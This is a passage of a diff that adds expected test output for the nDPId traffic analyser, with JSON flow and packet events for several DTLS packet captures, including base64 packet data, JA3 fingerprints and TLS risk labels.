+00543{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"dtls2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1507911660,"pkt_ts_usec":761893,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"AAAAjZtQSEb7zh73CABFAACJjgMAAD8Rlzs9RG6Z1CDWJ8818BEAdW4SF\/7\/AAEAAAAAAAEAYGco+WgcL2DPNPnhlgoMZwrSE8MTeiXqPq9XZxgtyKrBYm+\/zP2ZCkQpYxfy4zJy2isF8x9fFs4gl4iAXi3TxoPj8gjRdySunAomOULrgtGlSf864pkw9\/Am74tsKd6QFg=="} +00498{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"dtls2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1507911660,"pkt_ts_usec":977431,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"AAAAjZtQSEb7zh73CABFAABpH49AAHIRks\/UINYnPURumfARzzUAVcffF\/7\/AAEAAAAAAAEAQMi9I0ORr8tjcarcObyWfy\/EwJmHxffcONlKeaTbaeqNRRJMS6swESzF5HUChjXiu9uAJ7oG0F8OqI99YDaTy7Q="} +00543{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"dtls2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1507911666,"pkt_ts_usec":87586,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"AAAAjZtQSEb7zh73CABFAACJSplAAHIRZ6XUINYnPURumfARzzUAdaBAF\/7\/AAEAAAAAAAIAYDeAbQi8gXYZJqiUpX0kkD82LOrGvMis9SW24YWvREZXMV7+bRauuHB6ZnaZKMuYGAFdsfaF7hKZN9w64y5nS25zckcrOw+\/YT55oAmro8CqfuJvgKwzBwwD3KQAjzjk0w=="} +00546{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"dtls2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1507911676,"pkt_ts_usec":21244,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"AAAAjZtQSEb7zh73CABFAACJPlUAAD8R5uk9RG6Z1CDWJ8818BEAdQySF\/7\/AAEAAAAAAAIAYKJZQxQZCia5IIs3PGk4S2GIYJMhujnVmdb20Wj\/cfqCND2M3zASH4XZ+TA9v9VsO2hOuDg8RGnQMhz\/\/mXUmgJfFMejm6p1Ey4jT\/edZ7v9FfJejIaTLW877SoM2HJH8w=="} +00499{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"dtls2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1507911676,"pkt_ts_usec":236712,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"AAAAjZtQSEb7zh73CABFAABpRE1AAHIRbhHUINYnPURumfARzzUAVXupF\/7\/AAEAAAAAAAMAQOxiXeILwFhz3FlnMNOzbRGp\/O07nRqIJnDwyBbfBcmTabMA18FdIrtMd7k3FNHJwgTKyTI52ElvHxHYdN3xesg="} +00546{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"dtls2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1507911691,"pkt_ts_usec":269254,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"AAAAjZtQSEb7zh73CABFAACJ8X0AAD8RM8E9RG6Z1CDWJ8818BEAdfPJF\/7\/AAEAAAAAAAMAYBsxJbxcmazMF1yZgVTjATb6Zon2xvveF2DtWggeNJLukjO4pdn+D\/5eRo12Wd7\/4LZ3qt\/WbDF9H1pWcnP1HjOf9Qg27QHN1pgBe8RKEE74PJevpF0HOEG9Oj0Qqtc73g=="} +00498{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"dtls2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1507911691,"pkt_ts_usec":484678,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"AAAAjZtQSEb7zh73CABFAABpFWtAAHIRnPPUINYnPURumfARzzUAVb+bF\/7\/AAEAAAAAAAQAQEAOtAoAQz3o001yodc3wtrR1khwhq9qQtJWfE5XJAcqfJdAJLX8pS9nHegbomNdxzflcV6TIhGRgTVvDEGTAX0="} +00546{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"dtls2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1507911706,"pkt_ts_usec":647553,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"AAAAjZtQSEb7zh73CABFAACJ2GUAAD8RTNk9RG6Z1CDWJ8818BEAdWojF\/7\/AAEAAAAAAAQAYPlR045oqJCgSMh7ALVP58tRoxRJJZfJelm4LrwIvz5OUnOverhJu\/z67oZASGIM5zE03Z8YpZZX+V95itxyIN8Rawc56lHbJd\/wSy1wkJnsupWPJbKTGAml7J4a\/LW8KA=="} diff --git a/test/results/dtls_certificate_fragments.pcap.out b/test/results/dtls_certificate_fragments.pcap.out new file mode 100644 index 000000000..5dd6ae7aa --- /dev/null +++ b/test/results/dtls_certificate_fragments.pcap.out @@ -0,0 +1,18 @@ +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1556606275726,"flow_last_seen":0,"flow_tot_l4_data_len":320,"flow_min_l4_data_len":320,"flow_max_l4_data_len":320,"flow_avg_l4_data_len":320,"midstream":0,"l3_proto":"ip4","src_ip":"10.186.198.149","dst_ip":"35.210.59.134","src_port":39347,"dst_port":44443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00832{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1556606275,"pkt_ts_usec":726225,"pkt_caplen":354,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":354,"pkt_l4_len":320,"pkt":"AAAAp2BiAAAAtzPNCABFAAFUW5tAAD4Rr1YKusaVI9I7hpmzrZsBQKk0Fv7\/AAAAAAAAAAABKwEAAR8AAAAAAAABH\/79XLdFN6Sz4OQy2sCEjyxqziIlNS85zlQeFiYi19pl1vEAAACgwDDALMAowCTAFMAKAKUAowChAJ8AawBqAGkAaAA5ADgANwA2AIgAhwCGAIXAMsAuwCrAJsAPwAUAnQA9ADUAhMAvwCvAJ8AjwBPACQCkAKIAoACeAGcAQAA\/AD4AMwAyADEAMACaAJkAmACXAEUARABDAELAMcAtwCnAJcAOwAQAnAA8AC8AlgBBAAfAEsAIABYAEwAQAA3ADcADAAoA\/wEAAFUACwAEAwABAgAKABwAGgAXABkAHAAbABgAGgAWAA4ADQALAAwACQAKACMAAAANACAAHgYBBgIGAwUBBQIFAwQBBAIEAwMBAwIDAwIBAgICAwAPAAEB"} +00782{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1556606275726,"flow_last_seen":0,"flow_tot_l4_data_len":320,"flow_min_l4_data_len":320,"flow_max_l4_data_len":320,"flow_avg_l4_data_len":320,"midstream":0,"l3_proto":"ip4","src_ip":"10.186.198.149","dst_ip":"35.210.59.134","src_port":39347,"dst_port":44443,"l4_proto":"udp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"DTLS","breed":"Safe","category":"Web"},"tls": {"version":"DTLSv1.2","client_requested_server_name":"","ja3":"3c3d129780d0066cd8936a6291a8d44f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00476{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1556606275,"pkt_ts_usec":848420,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"AAAAp2BiAAAAtzPNCABFIABM4VFAAD4RKogj0juGCrrGla2bmbMAOPKRFv7\/AAAAAAAAAAAAIwMAABcAAAAAAAAAF\/7\/FGas+MFHIUbk58MIduuc4UCKEPlD"} +00861{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1556606275,"pkt_ts_usec":913729,"pkt_caplen":374,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":374,"pkt_l4_len":340,"pkt":"AAAAp2BiAAAAtzPNCABFAAFoW6pAAD4RrzMKusaVI9I7hpmzrZsBVHbeFv7\/AAAAAAAAAAEBPwEAATMAAQAAAAABM\/79XLdFN6Sz4OQy2sCEjyxqziIlNS85zlQeFiYi19pl1vEAFGas+MFHIUbk58MIduuc4UCKEPlDAKDAMMAswCjAJMAUwAoApQCjAKEAnwBrAGoAaQBoADkAOAA3ADYAiACHAIYAhcAywC7AKsAmwA\/ABQCdAD0ANQCEwC\/AK8AnwCPAE8AJAKQAogCgAJ4AZwBAAD8APgAzADIAMQAwAJoAmQCYAJcARQBEAEMAQsAxwC3AKcAlwA7ABACcADwALwCWAEEAB8ASwAgAFgATABAADcANwAMACgD\/AQAAVQALAAQDAAECAAoAHAAaABcAGQAcABsAGAAaABYADgANAAsADAAJAAoAIwAAAA0AIAAeBgEGAgYDBQEFAgUDBAEEAgQDAwEDAgMDAgECAgIDAA8AAQE="} +02310{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1556606276,"pkt_ts_usec":35205,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"AAAAp2BiAAAAtzPNCABFIAWg4VdAAD4RJS4j0juGCrrGla2bmbMFjGwmFv7\/AAAAAAAAAAEAQgIAADYAAQAAAAAANv7\/exvJyLXWPruOHL5MK7Y1JsnEAS0AtJ+iPSn4YJ2mNsIAADUAAA7\/AQABAAAjAAAADwABARb+\/wAAAAAAAAACBSgLAAYLAAIAAAAABRwABggABgUwggYBMIID6aADAgECAgIBDjANBgkqhkiG9w0BAQsFADCBijELMAkGA1UEBhMCTk8xDTALBgNVBAgTBE9zbG8xDTALBgNVBAcTBE9zbG8xGzAZBgNVBAoTEk9wZXJhIFNvZnR3YXJlIEFTQTESMBAGA1UECxMJT3BlcmEgTWF4MRUwEwYDVQQDEwxPcGVyYSBNYXggQ0ExFTATBgNVBCkTDE9wZXJhIE1heCBDQTAeFw0xOTA0MjUwOTU4MDZaFw0xOTA1MjUwOTU4MDZaMHcxCzAJBgNVBAYTAk5PMQ0wCwYDVQQIEwRPc2xvMQ0wCwYDVQQHEwRPc2xvMRswGQYDVQQKExJPcGVyYSBTb2Z0d2FyZSBBU0ExEjAQBgNVBAsTCU9wZXJhIE1heDEZMBcGA1UEAxQQKi5vcGVyYS1taW5pLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAORPM+HvV9uX\/YNDU1hkJZQiq9CpOzjLL+wmzk\/mxknC\/lzt7\/2Qg3qbyuKW5iBy3JZxaPO52oDwxIsilmeOkz4Mh8DnHyTx32hID++IiL649AXqYsGsHk8LI47iaUM6ub1Eu8MRDgFfIdgDsB\/iOYBVS6hhS44QgmBZ3WVRQHREe6jWyQtKDKooXtnRMU29d8xdLHTrujs0FtnJ437d+DiadyE+snuairyQNNrpLSNIZ\/pq6ewzal4u0NNe\/WlSiQTKqZBXXAL88GeYHTv+6w0xcxAqMiJvKS7otsvURb+7AhEr9BfD5cpFwVxi+SZQILibozwuzFJXx+cIypgIV2UCAwEAAaOCAYEwggF9MAkGA1UdEwQCMAAwEQYJYIZIAYb4QgEBBAQDAgZAMCsGCWCGSAGG+EIBDQQeFhxPcGVyYSBNYXggU2VydmVyIENlcnRpZmljYXRlMB0GA1UdDgQWBBToCRx51cxkoksSq+PH5Da9dPhtITCBvwYDVR0jBIG3MIG0gBSyo8s55dkAqfYHaJNGmRcwX2DgzKGBkKSBjTCBijELMAkGA1UEBhMCTk8xDTALBgNVBAgTBE9zbG8xDTALBgNVBAcTBE9zbG8xGzAZBgNVBAoTEk9wZXJhIFNvZnR3YXJlIEFTQTESMBAGA1UECxMJT3BlcmEgTWF4MRUwEwYDVQQDEwxPcGVyYSBNYXggQ0ExFTATBgNVBCkTDE9wZXJhIE1heCBDQYIJAM0pJwGa9KPrMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIFoDAtBgNVHREEJjAkghAqLnNhbXN1bmdtYXguY29tghAqLm9wZXJhLW1pbmkubmV0MA0GCSqGSIb3DQEBCwUAA4ICAQAsxMazt97mPzh89ugKFn+gchqN+8gwc\/qgCr24OgrCxlbcAuboN9GwNVyzEBLp8xf5X2uUbpzhUkNw8Da3gcOG9WRU6jbrD1WcRY6JvO0Mmn7tYOByaat2bf6co4aeqoorQ4XfH4XhjO0fNkhSxSnFd+YB1aTRfYQRZ9pIyqogmNC9mJGTFtFs6cJjs1UFLJ2Xs6n5RJMSgKdDdAS6NIKDCnhLmY29DHpiEqG4lF3or6tz0shqbW58O48+6Ff2qWryOZnPPF65AmJhRVUGil0HqRIZ9cej0+Pf1mpRxVU7o1XhXNWwazwIl8+tAnIOdpr7DJtkDNmXYyRKwOo6aEAWQeceETyNh3LwIE2unnIZhLc="} +00862{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":4,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1556606275726,"flow_last_seen":1556606276035,"flow_tot_l4_data_len":2136,"flow_min_l4_data_len":56,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":534,"midstream":0,"l3_proto":"ip4","src_ip":"10.186.198.149","dst_ip":"35.210.59.134","src_port":39347,"dst_port":44443,"l4_proto":"udp","ndpi": {"flow_risk": {"8":"Weak TLS cipher","15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"DTLS","breed":"Safe","category":"Web"},"tls": {"version":"DTLSv1.0","client_requested_server_name":"","ja3":"3c3d129780d0066cd8936a6291a8d44f","ja3s":"d45798bc098cd930de7eb2f5f866e994","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA"}} +00806{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1556606276,"pkt_ts_usec":35205,"pkt_caplen":331,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":331,"pkt_l4_len":297,"pkt":"AAAAp2BiAAAAtzPNCABFIAE94VhAAD4RKZAj0juGCrrGla2bmbMBKYUyFv7\/AAAAAAAAAAMA+wsABgsAAgAFHAAA7xmWcPJxf+syLm5kr8JFkg5FV4AlWuYVZqKRDkSXNY2wDo4JRyk7bpK3luN\/HZfToj36ViRMUxoGzOIdNQQtdLDZ9I6l5ryvVP5AVvfsfLCm9sZAxjhtLYRgCPa+oX7MDX\/1pOIA9ScqtjYO9k7rU1+EQszS6yuQBUHbzqzJDE5+Sr0FYdV0ChHOUsH5pqFWRmYkMY1kxz3WCDFqLZz3OCXgMI4dlHN4OUfYtjdlKZjojOO\/DI2VYl9JYb1bxVDvI\/jLCpX0S20qleMt33f6vetcgUgWnM2jDSMPp6PARk5VmmjgwVuZ3AbB3Md620\/oFv7\/AAAAAAAAAAQADA4AAAAAAwAAAAAAAA=="} +00919{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1556606276,"pkt_ts_usec":85753,"pkt_caplen":416,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":416,"pkt_l4_len":382,"pkt":"AAAAp2BiAAAAtzPNCABFAAGSW7NAAD4RrwAKusaVI9I7hpmzrZsBfv3dFv7\/AAAAAAAAAAIBDhAAAQIAAgAAAAABAgEADepD\/V3arFOYbwmKE7AyLr8Mlkxjf\/+JALcGEfko94eqwWztTmhz+5MHaC3z2G4vijVYtEU0sNUf4k4UL6wwFhc4ONU9ksZxVeWDxj085t3ouboFjrKqqf+Ez1VEasOR\/SQEHHJBKwmNh7bq+rPqD1Ue7o869xS0Ymdb4H9LtDDNAji6o60xxgjRgSC+FebqYWIv5JnGs2WkXpl3IhmfOFW6W5CEXtUG4NfVmU9IoLdnFP2SU65LWmxaCyTTqkryoC1SLTZLn+hoNIWj\/VtnnGu3nDwz0uOmfkkiYJPNH2dCcUwbCzyPYZumVNhytb8RGLPdT4cTupH4gydkV5dULhT+\/wAAAAAAAAADAAEBFv7\/AAEAAAAAAAAAQH0w1cLD04ZuwDU4bylSo4luvAkRseqvzP1gwxOBxPHlWhFGADtoMC\/32s4rqRyxoBSovKcS+f0vYtpwuRvkYq8="} +00796{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1556606276,"pkt_ts_usec":208505,"pkt_caplen":324,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":324,"pkt_l4_len":290,"pkt":"AAAAp2BiAAAAtzPNCABFIAE24VlAAD4RKZYj0juGCrrGla2bmbMBIraNFv7\/AAAAAAAAAAUAsgQAAKYABAAAAAAApgAAAAAAoBc3O+4w23k\/5z8GmKukkbjDMff5rrk7+NToU1SbJXCJnHEd6A2yutLzkCFjPTUj2iskxW+N5pGd\/HbH9Qs0cxkoOl\/FD6MeDKEPJz6HYBc7KVaNKEb2MrMrzg6NpAvMub2j0tEIcZeMLviwl0np+UKk5QdSS7sg2rNtbo06Ti5lD5dlFmfJNUs0h3c6AXI9tTgKknO+3QAfCn9pgzqxmz4U\/v8AAAAAAAAABgABARb+\/wABAAAAAAAAAEAHEaSBn03cC\/XnLHWJ0nYeygw7qpVGF+6b6MyV9BDeZlXEG1sCX1Fbw2CrpWqusRdW\/O4z5WTa6iBvyaiIiXy9"} +00780{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1556606276,"pkt_ts_usec":257738,"pkt_caplen":311,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":311,"pkt_l4_len":277,"pkt":"AAAAp2BiAAAAtzPNCABFAAEpW7RAAD4Rr2gKusaVI9I7hpmzrZsBFVf0F\/7\/AAEAAAAAAAEBAOYX\/OhBAjjoCtuD6z1ASzIClna7wu98j05vOFlJJvUFi+kPNR66AP8sBRmGYnPN3WaKOsS7REiEXznUuWR02iyfJWY0z\/L63WiMQAsAjusfynGVpiAxPkXEZFnCfUSQGAfEKuC4fFOHokgfEiw+gKcpM5Cu2f7oarYnwOTBo7uwQTOPHEB5oH435efk0aXmSk\/gRUW\/E1zQE6D8rmisH75uLcYdqOYubKKsYNOdSKjW4GQylyLdjdjda\/VbaR4LOmXdck5virxO87QQOV22N7sY\/8LI+XleUBryxUeg2Z3rHXjks9UOPQIPrVMSOb6tFSv8akm4f7sg13Jcv4J+8X8="} +00584{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1556606276,"pkt_ts_usec":265758,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"AAAAp2BiAAAAtzPNCABFAACZW7VAAD4Rr\/cKusaVI9I7hpmzrZsAhW7QF\/7\/AAEAAAAAAAIAcCRijg1PfePa0ecy99UjTKEL74pctZzdbRtjyeo5lPSWasmxVekZlP6c7UBF0mXrM7PUU2T6+wQ39XxRUSQYJ1OvoISkxCvKPedXzmWzg93RqY0IxdAmCaook\/MZ3+BGPYjSmzHDtdhWF4D8zQMRV4g="} +00586{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1556606276,"pkt_ts_usec":265772,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"AAAAp2BiAAAAtzPNCABFAACZW7ZAAD4Rr\/YKusaVI9I7hpmzrZsAhVv8F\/7\/AAEAAAAAAAMAcAypPi5KSYE6WXPxQlrZo7ziYi6SofAigyGBTyIUYMw6Fr7ucB8+Bx90d2yX2bu3DSTQldFTlKV8x2VMVVh4pb\/p0Q3z9MT8zjfILxS5dsCxcGhU4Qym3S7QMqfCDBHhnmodzXZ+yjv35H3KRLzVyzY="} +00587{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1556606276,"pkt_ts_usec":265776,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"AAAAp2BiAAAAtzPNCABFAACZW7dAAD4Rr\/UKusaVI9I7hpmzrZsAhTK9F\/7\/AAEAAAAAAAQAcAalqQEnjYdTvLMbB5w1lL39kZh3h8475qTwBeQTo3ubTh9HomSQXIpeerJ\/xFaIyadnL1FtpZf5MBAvQyUVZPKKXqdRTphteoCA8ZzKV4oXuTKF2EfP\/bzFDJZojETnLR+MfU0gGXymgkw7lfhWw3Y="} +00587{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1556606276,"pkt_ts_usec":337868,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"AAAAp2BiAAAAtzPNCABFAACZW7tAAD4Rr\/EKusaVI9I7hpmzrZsAhYL5F\/7\/AAEAAAAAAAUAcIXBmlGwAoRgrjNsS\/lQ1FzicLEAQoC3+Sa6C1LhTj\/drZSXTt+vZtXSiSNZVzIxv+f2XbwDvOh1jwIIqWdBcjxZ3MH2ma7NGTFEHGr0SB3NBDyNwnm0aO4nW9Ktv20cTkO9IIGurxIljzrsOKRjt7M="} +00672{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1556606276,"pkt_ts_usec":387758,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"AAAAp2BiAAAAtzPNCABFIADZ4WJAAD4RKeoj0juGCrrGla2bmbMAxbChF\/7\/AAEAAAAAAAEAsKOaNTjAgsTjXGffOf5e6kLpRuzzr7ka\/PR7CUHZuK8VNdXrkV1W06A+1tn0237G0C5cdaB5n5EllSJwXcHb2nHT\/XUVs8pP4enU1DNtdnnoKdnYbPodN01annfE0UbDAiDRUdECfRLF26BsmXy\/cY+9YosZUzWAyy0\/fDAg4rgR9Wf5i9Cz4+JyeHQ+ZRZGSUfakeFjkqX98r9W8mmvznQOaHeKhlpFTuam8Xs3Bt6w"} +00607{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1556606276,"pkt_ts_usec":388073,"pkt_caplen":183,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":183,"pkt_l4_len":149,"pkt":"AAAAp2BiAAAAtzPNCABFIACp4WNAAD4RKhkj0juGCrrGla2bmbMAlUz7F\/7\/AAEAAAAAAAIAgF7X9rlHDap9CZLTo4tXGcTqwQ2WiFJEXTqSfAc28aXOrC7SUyG\/BB7vUo+G2AG4V453rc8KT3IGeWmOK1Ytt8oWOXU9OGIN39kkVlMttVkl1sMV+SQQj3ORu402RcTbM1wMCAB\/Q9NpTysQO\/19jKpxELJ4mD0GCGmJxRgN0ChV"} +00714{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"dtls_certificate_fragments.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1556606276,"pkt_ts_usec":388085,"pkt_caplen":263,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":263,"pkt_l4_len":229,"pkt":"AAAAp2BiAAAAtzPNCABFIAD54WRAAD4RKcgj0juGCrrGla2bmbMA5bs6F\/7\/AAEAAAAAAAMA0GXW0AV0AJtu0HPaz6RfzO9CZWHXd94kCiafP4nVscZ0fN+GHYFWd\/lv6OnyFN1LFbq1Hc1un3I8EQgIV9EyEXZymewAmNVoOpK44k\/X58OiRLTx0ka7NyiK8sq6JLUl1H2lAnGTrfQLPNzkrlc7KU7sQx922PVFO2GshX19R+IBXtxhY3LuWx5UHxgtU0Mm+AyZx3mijZlUhGlL7LgNUEQgZvTq+RIFlr5mZGDSlKzsQb3ZBrh4wmALuEwSh0ZOoyYhNEc53O0hzv2UAoIYxmQ="} diff --git a/test/results/dtls_session_id_and_coockie_both.pcap.out b/test/results/dtls_session_id_and_coockie_both.pcap.out new file mode 100644 index 000000000..5d9546b38 --- /dev/null +++ b/test/results/dtls_session_id_and_coockie_both.pcap.out @@ -0,0 +1,7 @@ +00508{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"dtls_session_id_and_coockie_both.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1592388499775,"flow_last_seen":0,"flow_tot_l4_data_len":107,"flow_min_l4_data_len":107,"flow_max_l4_data_len":107,"flow_avg_l4_data_len":107,"midstream":0,"l3_proto":"ip4","src_ip":"185.196.113.239","dst_ip":"223.116.105.247","src_port":50257,"dst_port":44443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00553{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"dtls_session_id_and_coockie_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388499,"pkt_ts_usec":775130,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"AAAAAAAAAAEAvpsKCABFAAB\/T3sAAH8RdtO5xHHv33Rp98RRrZsAazO3Fv79AAAAAAAAAAAAVgEAAEoAAAAAAAAASv79P8FbOXt8ZkgBLvoC72ni+sdFNMYxwEb+hvs\/sv9L1B0gODIAL4OTx2HjtkquDfJ\/XJtXFrGeH36FJxKlpF5tST4AAALALAEA"} +00791{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"dtls_session_id_and_coockie_both.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1592388499775,"flow_last_seen":0,"flow_tot_l4_data_len":107,"flow_min_l4_data_len":107,"flow_max_l4_data_len":107,"flow_avg_l4_data_len":107,"midstream":0,"l3_proto":"ip4","src_ip":"185.196.113.239","dst_ip":"223.116.105.247","src_port":50257,"dst_port":44443,"l4_proto":"udp","ndpi": {"flow_risk": 